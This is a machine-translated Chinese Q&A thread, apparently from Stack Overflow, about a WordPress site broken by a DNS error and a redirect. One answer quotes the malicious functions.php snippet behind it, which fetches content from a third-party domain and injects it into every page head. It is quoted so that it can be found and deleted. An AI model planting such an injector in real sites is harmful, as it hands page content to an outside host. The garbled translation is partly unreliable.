WordPress的网站无法输入 - 请求的URL无法检索
请帮助解决这个问题,因为我无法猜测如何解决它。WordPress的网站无法输入 - 请求的URL无法检索
当我进入我的WordPress网站出现以下消息:
The requested URL could not be retrieved
While trying to retrieve the URL: http://www1.ghost-bikes.dp.ua/?
The following error was encountered:
Unable to determine IP address from host name for www1.ghost-bikes.dp.ua
The dnsserver returned:
Name Error: The domain name does not exist.
This means that:
The cache was not able to resolve the hostname presented in the URL.
Check if the address is correct.
Your cache administrator is support.
Generated Wed, 21 Nov 2012 09:57:05 GMT by none (squid/3.0.STABLE20)
管理区(/可湿性粉剂管理员)打开,如通常和作品。 我想这是一种病毒。我该怎么办?
打开你的主题functions.php
并查找下面的代码:
if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js”;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
如果你找到它,只是删除它,你应该再被罚款。
我只是在不同的网站上发现一个问题,这样的 - 看here
谢谢,它的作品! –
在这种情况下,会发生什么事情,以前的代码早些时候工作,只是今天发生了这个错误? –
我想在此之前,该域名实际上工作正常(如果你尝试去http://www.jqueryc.com/,你会看到该域名现在停放 - 它显示一个预先定义的模板与广告和东西,而不是正常的网站)。所以也许它并不是真正的恶意 - 也许它只是呈现jQuery,但这完全不是呈现jQuery的方式 - 你不应该从非官方的第三方网站呈现jQuery,因为1)你有jQuery附带的WordPress 2)你可以使用3个官方CDN(Google's,Microsoft's和Media Temple's)来获取jQuery –
试着逐个停用你的WordPress插件,看看消息是否消失。如果是这样,你会知道它来自哪里。
嗯,我已停用,但没有任何更改。问题是不同的。 –
您使用代理服务器SQUID
你鱿鱼找不到这个域名:www1.ghost-bikes.dp.ua 由于此域不存在 - 这是不可能解决这个域名IP地址
所以,这不是一个WordPress相关的问题。这是一个DNS的问题
修订
这似乎是这个领域的Imena.com.ua服务 - 所以你应该登录到您的帐户上imena.com.ua,只是在添加DNS域名WWW1记录。
修订
转到你的WordPress安装文件夹,并设法找到像这样的文件:
<script type="text/javascript">
StaticRequestInfo={Referer:document.referrer};function EscapeBrowserFrame()
</script>
删除这些行。
这不是问题:)当您尝试加载主域ghost-bikes.dp.ua而不是www1子域(显然未配置)时,会出现问题。问题在于functions.php中的恶意脚本,它从另一个域插入HTML,然后尝试重定向页面,但创建一个重定向循环,或者只是指向一个错误的域。 –
究竟哪个URL主题启动器尝试打开并不明显。也许你是对的。 – fycth
是的,问题出现在主题中的JavaScript中。我刚刚评论了尼古拉建议删除的代码,并且一切正常。 –
登录到您的托管环境的DNS面板并检查DNS设置。
如果这些不解决这个问题..你可以试试这个:
//在WP-配置
定义( 'WP_SITEURL', 'http://www.site.nl');
define('WP_HOME','http://www.site.nl');
//位于顶部的functions.php中。第一次运行后删除。
update_option('siteurl','http://www.site.nl');
update_option('home','http://www.site.nl');
这将通过整个网站设置正确的网址或IP。
'的域名不exist.',这似乎是您的问题,并从这里看上去同样的方式。你确定'www1'是正确的吗?你用什么URL打开管理区域? –